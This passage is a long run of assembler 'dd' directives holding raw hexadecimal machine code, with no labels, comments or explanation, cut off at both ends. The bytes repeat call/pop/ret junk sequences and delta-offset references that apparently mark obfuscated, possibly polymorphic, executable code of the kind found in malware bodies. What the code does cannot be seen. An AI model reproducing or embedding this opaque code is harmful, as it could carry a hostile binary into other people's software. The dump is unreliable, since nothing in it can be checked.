0C7ED17h, 18h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BCC35646h, 99D02DD7h dd 1BD8BFDh, 8B05E71Bh, 0EAA34CB5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 489E9DC0h dd 6CBA4ABCh, 2BA59D8Bh, 858B05E7h, 5E70081h, 8364A2BBh dd 8906891Dh, 0E72C3DB5h, 2D858B05h, 6A05E707h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 90B8C356h, 425B7393h, 8B50B662h, 0E723619Dh, 46895B05h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0C39D0F57h, 0F58AC43Ch, 0DF8B6650h, 8B243489h dd 0E717A9BDh, 48B5FF05h, 8905EAA3h, 0E703F585h, 4E805h dd 3FF0000h, 8B50001Fh, 50042444h, 138A0F52h, 0E8000000h dd 0Dh, 18324B2Dh, 3065116Fh, 0B7700883h, 310F5FCCh, 6E8h dd 4955C600h, 5F74F2A9h, 8B585Ah, 89FA8B66h, 66042444h dd 585BF9BFh, 0FA8B6652h, 50858D5Bh, 0BB05EAA3h, 18E702E4h dd 0B3525050h, 66310F59h, 585AFB8Bh, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0CCC355h, 95FF5E5Eh, 5E720E5h, 63DBD8Bh, 806105E7h dd 85C765EBh, 5E70C99h, 3, 55CE8160h, 0B66160B8h, 0BD8361A7h dd 5EAA350h, 36840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AA48C357h dd 893E2379h, 0E71CC58Dh, 26E905h, 8B0F0000h, 5, 3BEF8166h dd 0C3050EEh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0FE9h, 4340EF00h, 0EA1BE80h, 51C0CB2Ch dd 9DB129F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 58C35646h, 5F20010h, 0C99BD83h, 0F0305E7h, 42585h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0D46E0CE8h, 0BF0FF0CAh dd 50BD83F9h, 5EAA3h, 3F4840Fh, 8E90000h, 0EA000000h, 12FB799h dd 6602EDCFh, 0B5FFF98Bh, 5EAA350h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 6DC35242h, 410D425Ch, 95FFEB26h dd 5E72D69h, 2B459D8Bh, 0B58B05E7h, 5EAA344h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 2BC35242h, 96BF0EF2h dd 6E8D8A5h, 29000000h, 71207969h, 0F98D896Dh, 5B05E705h dd 106C7h, 890F0001h, 6, 0F31B509h, 0E85005E7h, 13h, 623912DEh dd 712B7DFBh, 16D20F06h, 4B467C0Ch, 0E84C561Dh, 11h, 67F2DB4h dd 0F43A087Dh, 9AF1756Ah, 0E3349BBEh, 5F616016h, 2434895Bh dd 2BF7BB66h, 0A350B5FFh, 0FFF805EAh, 0E7247D95h, 3DBD2305h dd 8B05E705h, 0EAA344B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0A3BA6B39h dd 0AB210767h, 858B7C6Bh, 5E703CDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0D3C35545h, 0DE956h, 0EF1E0000h dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 0C48689h, 0DE8A0000h dd 958BDF8Bh, 5E72315h, 9E9h, 0CAB28700h, 0ED502A6Eh, 0C283776Dh dd 0DE86004h, 0E9000000h, 0DC25B494h, 0F156F844h, 0E08F6D35h dd 8F0Fh, 615A0000h, 6A205089h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0EBA7C355h, 532F796Eh dd 56B3E84Bh, 0B732858Dh, 1FBB05EAh, 8945D3C7h, 0B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 7E9AAh, 85F60000h, 97AFC66Bh, 6A006A81h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0DF7DC353h, 0A544E773h, 310D321Eh, 0D381F98Ah dd 3FF348E0h, 0A350B5FFh, 0FB8B05EAh, 2870Fh, 0FE8B0000h dd 4195FFh, 50F505E7h, 0FE8h, 0BB5B6A00h, 6A9907CFh, 0A4A9C338h dd 8B7C3F52h, 9CBF6651h, 895F5B12h, 0F602434h, 285h, 81FE8B00h dd 0F593F2D9h, 0B5FF6136h, 5EAA350h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0DDC35040h, 0C9D0BDEFh, 5F54232Fh dd 2CF18531h, 8B6605E7h, 995FFDEh, 2905E72Ah, 0E70671BDh dd 0F9BD8305h, 5E704h, 60840Fh, 11E90000h, 51000000h, 85BB397Dh dd 7B79121Eh, 0C44DDC3Ch, 2E869005h, 6E850h, 828E0000h dd 0BB987C3Eh, 6E8h, 0DDF4A300h, 662E3603h, 5F5BFB8Bh dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 787AC355h, 2FAA6E4Ah, 1B2163BBh dd 0CF816632h, 0B5FF6C66h, 5EAA350h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0CEC35242h, 0E5FA750Dh, 0F36104DCh dd 0CE9h, 0E772A300h, 0CE4B396Dh, 6E72887Ch, 1D95FF62h dd 6A05E707h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8B92C353h, 0E71BF19Dh, 50B5FF05h dd 8905EAA3h, 0E731C58Dh, 0C595FF05h, 6A05E70Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8357C350h, 0E725CDBDh, 840F0205h, 25h, 30E19D8Bh, 858B05E7h dd 5E70651h, 68B0Fh, 0BD8B0000h, 5E72761h, 600000C6h, 91D858Bh dd 0F28B05E7h, 0FD85C761h, 5E70Dh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0C804C350h, 8D89E2E5h, 5E70C89h, 1418531h, 11E905E7h dd 0E9FFFFF4h, 7, 5853AEACh, 8B364B41h, 0CDBD31C1h, 8D05E712h dd 0E71AF985h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 6120C96Bh, 50471F77h dd 88C0Fh, 890F0000h, 2, 4896160h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 3E83BED2h dd 13469473h, 0CE90B9Bh, 85000000h, 0A750C4D2h, 8207B2F2h dd 8B8745BDh, 0E71B69BDh, 60006A05h, 96D9BE66h, 8E9h, 7A687000h dd 342B2AABh, 6A6173h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 20C35646h, 0DD983E86h, 4F7858Dh, 2BBF05ECh dd 8363CD95h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0BF4BD8C3h, 9D01DC0Dh, 5E71385h dd 60606090h, 8E961h, 0AAAF0000h, 0A125B356h, 6661252Bh dd 61EA72BFh, 8B606050h, 8F0FF8h, 61000000h, 6A9061h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A6A83C3h, 6A66C0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0AC35242h, 193DA073h, 60006A76h, 14E8h dd 0D5997800h, 50524743h, 4DA4D2A5h, 0B929317Ch, 0FEA30378h dd 8C0F5BD9h, 2, 0FF61C88Bh, 0E702C595h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 2DBB889Eh, 8D7B7E2Fh, 0EA95148Dh, 16870F05h, 0F000000h dd 1082h, 0AE800h, 0C66B0000h, 0B18197AFh, 6B4E41E5h, 66D1FF5Fh dd 83F8FE8Bh, 0E707F1BDh, 850F0105h, 50h, 94D9529h, 26A05E7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 12C35242h dd 0DABF0F68h, 98BF6690h, 0F505056h, 682h, 0F525000h, 5F585A31h dd 95FFF590h, 5E70041h, 68E0Fh, 9D8B0000h, 5E71B31h, 0D61E9h dd 0E800h, 815D0000h, 0EC0501EDh, 0F8F78105h, 890B657Fh dd 0E7031D8Dh, 0F5B58905h, 8D05E707h, 0EA8F5B85h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0D1BD2386h, 5005E722h, 0BE9h, 0CB06F500h, 4E6BCDA2h dd 0B9C29A6Dh, 0F240489h, 685h, 399D8900h, 6405E700h, 35FFh dd 89640000h, 25h, 0E4D78000h, 1DD38166h, 0E185FF8Ch, 6A05E71Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0B08BC356h, 0B5852957h, 5F05E72Ah, 6AFF6Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 31AF90C3h, 0C073AA7Ah, 0AE95269h, 0C1000000h, 0FAC9D53Fh dd 0E96B26C1h, 12E955h, 8760000h, 0EC96A46Dh, 26BFDEE5h dd 0D883D89h, 15C9267Fh, 2AB1B5FFh, 6A05E7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 1F4286C3h dd 0F78110B8h, 1B250AD5h, 0E0D8589h, 95FF05E7h, 5E729C1h dd 116E9h, 0FE8B6600h, 70E600B0h, 0E47BEF80h, 0D7816671h dd 613C9579h, 0FD830Fh, 0BD8B0000h, 5E72621h, 53C8B60Fh dd 10E8h, 8B752400h, 41893242h, 94CD950Ah, 5E0FC248h, 840F93h dd 5F000000h, 6BA5Fh, 89530000h, 0E71B658Dh, 0C18B5F05h dd 24D9D8Bh, 0E8C105E7h, 8E904h, 0C8C90000h, 0A4BFEC30h dd 0F7665398h, 91EF81E2h, 2B6F8250h, 0E78166C8h, 0D18B2277h dd 6E9h, 0BB3B2600h, 0E9CC9A6Fh, 8Fh, 6F3EF2BFh, 49858B5Ch dd 8B44004Eh dd 0E700F99Dh, 7C08305h, 0C5B58952h, 5B05E700h, 6000C083h dd 6880FFCh, 8B000000h, 0E707BDB5h, 0D03B6105h, 0C830Fh dd 0BB660000h, 50E99CC8h, 80000000h, 8D8BDCCBh, 0FFFFFFFFh dd 13E9h, 0F14C4800h, 0CCE47AD3h, 6AFE421Fh, 980A467h dd 3792C7B5h, 0F01E183h, 2684h, 426EBB00h, 0A583204Ah dd 0FFFFFFFFh, 0D9B70FFEh, 4E499589h, 0BD8B4400h, 5E7014Dh dd 2D119589h, 0E905E7h, 8D000000h, 0EB8243B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9D098B49h, 5E7003Dh, 0BE9h, 0F0A31D00h, 0CCAA8D8Ah dd 0C9E4CD65h, 0CE8h, 0D76D4D00h, 7CE4EA94h, 0BA0BFCFEh dd 6A5B43h, 10E9h, 3AFD2600h, 0C3B96297h, 736A0238h, 0A45A3F00h dd 1D95FFD5h, 8905E71Ah, 0E70BF59Dh, 1000B905h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0B46248C3h, 9D8B76BBh, 5E72145h, 6AFCE183h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0FE7EC355h, 0EF81668Eh, 6AFC2E12h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 4E13C357h dd 742BEA45h, 0E34DBF66h, 51BD23h, 9D2905E7h, 5E71B25h dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 662EC731h, 0BDE9CF81h, 0A35282BBh dd 0FE8B6666h, 0BAh, 0FE8B6600h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E8816660h, 85893F1Eh, 5E70D81h, 0AE961h dd 0F7810000h, 25256F0Ch, 0C7111E3h, 880Dh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 544C3DE5h, 8F0F4E16h, 10h, 0BE9h, 284FB400h, 0E203A9C8h dd 5C8DDC7Ch, 2315958Bh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 8C5F4EC3h, 0B98D8B61h dd 6A05E708h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0D371C355h, 735D3FAh, 1021DDFh dd 0E70E958Dh, 32CB8105h, 500A8AABh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0DDBD2B58h, 6A05E720h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 316FC356h, 77B3573Ah, 0DEB70F5Bh, 211DBD83h, 0F0005E7h dd 5484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 10616303h, 8BF414F3h, 0E70D31BDh dd 0B805h, 95890000h, 5E70101h, 0F08ABB66h, 4DFA8D8Dh dd 9D2905E7h, 5E72D1Dh, 0F60E1FFh, 688h, 0C9BD0900h, 0FC05E720h dd 99BD8361h, 5E70Ch, 3A7840Fh, 0BF660000h, 0BD8324C2h dd 5E70C99h, 0B1840F01h, 0E9000003h, 14h, 68997582h, 0D0BDEFDDh dd 54232FC9h, 30C4325Fh, 0B4D215A8h, 0C99BD83h, 0F0305E7h dd 35586h, 7E800h, 0EA250000h, 43A380Bh, 68B0FB7h, 89000000h dd 0E722D1B5h, 66605F05h, 8C66FE8Bh, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A0377BAAh dd 8041B011h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0FC73FEC3h, 12619529h, 0C90A05E7h dd 0F2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 9A1317C3h, 0DA80BFA8h, 8BDFBF0Fh dd 0E7072D85h, 9D9D8B05h, 3305E70Ch, 0E72E8185h, 0FE905h dd 3E580000h, 0CD72A17Ah, 3250C9BBh, 895DB57Fh, 11E8909Ah dd 0DD000000h, 64E753CBh, 2F16C7A9h, 0DBCAC1B6h, 167B6B88h dd 0CE9h, 0FD835300h, 94A953B5h, 2ADB5CF4h, 8B505F3Bh dd 880F90DEh, 6, 0CEDBD8Bh, 6A05E7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 6C35141h, 41016941h, 812908D2h dd 0AA6D5ADBh, 3EAC681Ch, 34812551h, 4E3D5324h, 0AD9D8925h dd 0FF05E71Bh, 0E720E595h, 0A1BD8B05h, 0F05E707h, 687h dd 31BD0B00h, 8905E722h, 0EAA35085h, 0ADBD8B05h, 0E905E70Eh dd 1A3h, 0F59D0351h, 5B05E70Ah, 0A348858Bh, 8D8905EAh dd 5E707EDh, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 4C5C37C3h, 85EE2C5h dd 23CBD6C5h, 0E70D319Dh, 39B58905h, 8B05E700h, 0EAA34CB5h dd 31BD8B05h, 8105E722h, 0B78228F7h, 81858B6Ch, 0E905E700h dd 12h, 9458508Fh, 67DBB795h, 6311454Fh, 7E59CAAFh, 68937E1h dd 26A9B531h, 858B05E7h, 5E7072Dh, 0E9A426BFh, 446897Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h dd 90C8A9CFh, 0DFEC5043h, 8D0F68h, 50000000h, 5F575752h dd 34895F5Fh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 68B0F44h, 3000000h, 0E72759BDh, 7820F05h dd 57000000h, 69EB8166h, 0B5FF5BD6h, 5EAA348h, 0A84968F8h dd 0BF662685h, 34811D57h, 9AABB624h, 51006A26h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 8CF1AFD0h dd 0D6EFD0F3h, 858DEAFDh, 5EAA350h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 2AC35646h, 1378291Eh, 0BD8B9D45h dd 5E72AC1h, 7E990h, 119A0000h, 0D4843FEAh, 0AABB5018h dd 9073EA30h, 6D1BD8Bh, 95FF05E7h, 5E720E5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 88C35646h, 61B19B41h dd 6810Fh, 0BD310000h, 5E71281h, 0C9985C7h, 305E7h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0CF2282C3h, 0B5892A04h, 5E729CDh, 0A350BD83h, 0F0005EAh dd 0D84h, 0C5B50900h, 0B705E71Ch, 1BE948h, 30500000h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0A0680680h, 53606D18h, 605E5952h, 0BE88BA66h, 10E9h dd 2AC92500h, 6BC9C491h, 840491EAh, 0FE47CFFBh, 83616195h dd 0E70C99BDh, 850F0305h, 408h, 671BD8Bh, 8D8905E7h, 5E721B9h dd 0A350BD83h, 0F0005EAh, 3EF84h, 5BFC5200h, 0A350B5FFh dd 0BD8B05EAh, 5E70CA1h, 2D6995FFh, 59B305E7h, 0A344B58Bh dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0FC30B8C3h, 0AE875h, 5CB90000h, 0E89CDAEEh dd 4BE969B9h, 28D0Fh, 5B570000h, 106C75Fh, 6A000100h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 2A5AC355h, 8D092704h, 5E702EDh, 0D08B6050h, 24348961h dd 2B11BD2Bh, 0B5FF05E7h, 5EAA350h, 95FFDC8Ah, 5E7247Dh dd 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 32C35141h, 0A20EFF0Eh dd 8D0F60F2h, 6, 20F98D8Bh, 665305E7h, 0F0C4F681h, 0B58B615Bh dd 5EAA344h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 70C35242h, 0E0BF6642h, 0CFDB81DEh, 8B631C1Dh, 0E703CD85h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 8B66609Ah, 0C48689F8h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0D22DC352h, 9D2B9FFCh, 5E72BB5h, 8BF98B66h, 0E7231595h dd 0E19D8B05h, 8305E72Bh, 0EE904C2h, 99000000h, 0F1ED4C04h dd 7C2BD2E2h, 48105077h, 205089EEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 61C35343h, 50261554h, 21898529h dd 8D5B05E7h, 0EAB73285h, 52F98A05h, 0F98B6660h, 5B615E57h dd 0B88689h, 0E5BB0000h, 661FE3FBh, 6ADA8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DC35545h, 0AFEB768Eh dd 0CA63A22h, 50B5FF6Ch, 6605EAA3h, 0AA3AEB81h, 4195FFh dd 950105E7h, 5E70269h, 0B393BB96h, 505070F3h, 9E952h dd 698A0000h, 0D2A33744h, 0FF87342h, 96585A31h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8AC35242h, 8E87Ch dd 0D5590000h, 0D9AB5F83h, 10E9086Fh, 57000000h, 4CA8C124h dd 43F36D51h, 85C4CD45h, 5FD53FC1h, 0A350B5FFh, 8D8905EAh dd 5E71D11h, 2A0995FFh, 6E805E7h, 0F000000h, 77010787h dd 6800FBFh, 89000000h, 0E70191B5h, 0BD835B05h, 5E704F9h dd 40840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0DAFEC356h, 0ABACB5CCh dd 892FE754h, 0E7024D8Dh, 19958905h, 5005E70Dh, 0FBBF6650h dd 34895B9Dh, 118D2924h, 0FF05E71Dh, 0EAA350B5h, 85896005h dd 5E72305h, 0FE957h, 3A2F0000h, 6043E021h, 0F2CC6942h dd 0CE099B79h, 0FF615F92h, 0E7071D95h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 14127BA7h, 2A55BD8Bh, 0B5FF05E7h, 5EAA350h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 10C35646h, 0B4EEEE48h dd 0CC595FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0AE4850C3h, 812DDFD7h, 0D3EBA9CFh dd 0DEB70F1Fh, 25CDBD83h, 0F0205E7h, 5A84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 2F10D72h, 13B99D8Bh, 858B05E7h, 5E70651h, 313DB589h dd 0C605E7h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0C4D71D52h, 959D8BC7h, 0C705E70Dh dd 0E70DFD85h, 5, 58D0F00h, 66000000h, 7C05CF81h, 0FFF393E9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 228DF298h, 9C91D2A0h, 6AC18Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 429180C3h dd 5FD38166h, 0CF8166CCh, 858D9A44h, 5E71AF9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DFC35141h, 0DEE88B2Bh dd 0EF816644h, 0E9908B16h, 5, 22A0D269h, 89905035h, 0E73131BDh dd 6AFC05h, 9559589h, 6A05E7h, 11E8h, 30BE0100h, 0BFDF9942h dd 5C7D7271h, 3E5C69F2h, 61BF8016h, 5B5FEDF5h, 1465858Dh dd 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6F34B7C3h, 0B58950BDh, 5E70945h, 6A05C083h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 5E08C356h, 29ED8D89h, 9D8B05E7h, 5E71281h dd 5E890h, 12E30000h, 66806DCCh, 505BD98Bh, 0AFEDEDBBh dd 6A904Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0BE6ED6C3h, 54DBD29h, 6A05E7h, 0FC006AF9h dd 2C595FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0BD89C7C3h, 5E71345h, 796FBB66h dd 1C059D89h, 8D8D05E7h, 5EA9514h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 6AC35646h, 0A77C7BB9h, 0D380277Eh dd 60D1FF54h, 66F6BF0Fh, 0EF55F281h, 6E961h, 0F41D0000h dd 5B7B5E67h, 7F1BD83h, 0F0105E7h, 8985h, 6A026A00h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 6BBCC351h, 0C369835Fh, 8D295768h, 5E70625h, 0BE666050h dd 8961D2E9h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0D47F8BC3h, 95FF4F55h, 5E70041h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 59C35343h dd 0BD8BF480h, 5E72B61h, 5E9h, 12CF00h, 0D6E92064h, 0E800000Dh dd 0 dd 6FED815Dh, 8005EC14h, 6A10D7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 54BB62C3h, 23EC9877h dd 0E72C15BDh, 0AE905h, 8FC10000h, 1A2E0294h, 0B6ACA96h dd 8D2AE780h, 0EA8F5B85h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FFFF05Eh dd 8Ah, 0F8C0F00h, 0E9000000h, 0Ah, 8CD79534h, 3B86C719h dd 5650FBDBh, 5A6644BFh, 4895F32h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7B9B63DDh dd 5830FE6h, 0BF000000h, 5C180E90h, 35FF64h, 64000000h dd 2589h, 5CBB0000h, 0FF30941Ah, 0E71CE185h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F76413Dh, 1C8Dh, 16870F00h, 0E9000000h, 11h, 0A315FA9h dd 69E82CE5h, 5E36F3CAh, 0DE16E434h, 6AFF6A2Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0D83BC355h, 0B5FF2648h, 5E72E65h, 95FFFE8Ah, 5E729C1h dd 118E9h, 9E900h, 35C80000h, 1CE2636Eh, 0B0A31B61h, 4DEB8000h dd 852970E6h, 5E70EDDh, 9E871E4h, 0D9000000h, 0C12D8E32h dd 4AA1A217h, 1C818529h, 665B05E7h, 83CD781h, 830F613Ch dd 0D9h, 0FF9BF0Fh, 0B60FFFB7h, 8ABF66C8h, 6BAFAh, 89560000h dd 0E71AE995h, 0C18B5F05h, 0F04E8C1h, 178Ch, 12E900h, 0D010000h dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh, 66E2F766h dd 8D89FB8Bh, 5E700F5h, 0B529C82Bh, 5E71B29h, 1B359D8Bh dd 0D18B05E7h, 7CE9h, 4C858B00h, 0F505F4Ch, 83FCFBBFh dd 96BF07C0h, 8319D33Ch, 896000C0h, 0E707F595h, 0C8F0F05h dd 0E8000000h, 6, 0D7A225DAh, 6158C943h, 830FD03Bh, 11h dd 274DBD89h, 3AE905E7h, 89000000h, 0E7064D95h, 0FF8D8B05h dd 89FFFFFFh, 0E7234DB5h, 0E183F505h, 1E840F01h, 3000000h dd 0E7174D9Dh, 0FFA58305h, 0FEFFFFFFh, 22ADBD8Bh, 958905E7h dd 505F4C4Ch, 0E9h, 43B58D00h, 0FC05EB92h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0DA32CDC3h, 0DA8B6648h, 1A1D95FFh, 0D98A05E7h, 0F4CB9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 1C1D0938h, 0DB81668Ah, 0E18346A5h, 6AFCFCh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 840FEDC3h, 6, 162D9D8Bh, 0B805E7h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 450DC356h, 56183CD7h, 2E4D8D89h, 0BA5B05E7h, 0 dd 9214BB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6CC35545h, 0EF813703h dd 64D74DCFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 6BC35242h, 17019D89h, 880D05E7h, 0E9000000h, 9 dd 233FDF19h, 0B9E30D24h, 15958BE2h, 6A05E723h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 82A6C357h, 8BDA8B66h, 0E708B98Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 585901Ah, 781C4BB7h dd 0C28B508Ch, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh dd 0C85h, 0BE666000h, 8D2B92B7h, 5E702BDh, 51006A61h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6840FCAh, 89000000h, 0E70571B5h, 83D98B05h, 0E7211DBDh dd 840F0005h, 61h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 36C35242h, 8A513318h, 0B836E454h, 0 dd 8D8D4FB3h, 5E74DFAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 66C35343h, 37C6439Eh, 0BBA26105h, 0FFB70F94h dd 0E1FFFD8Ah, 0DDEB8166h, 99BD83FBh, 5E70Ch, 416840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0AA6492C3h, 6FB12B3Dh, 38F0Fh, 0BF0F0000h dd 99BD83D8h, 105E70Ch, 3F9840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 4471D9C3h dd 2F91977Fh, 0BD83F9BBh, 5E70C99h, 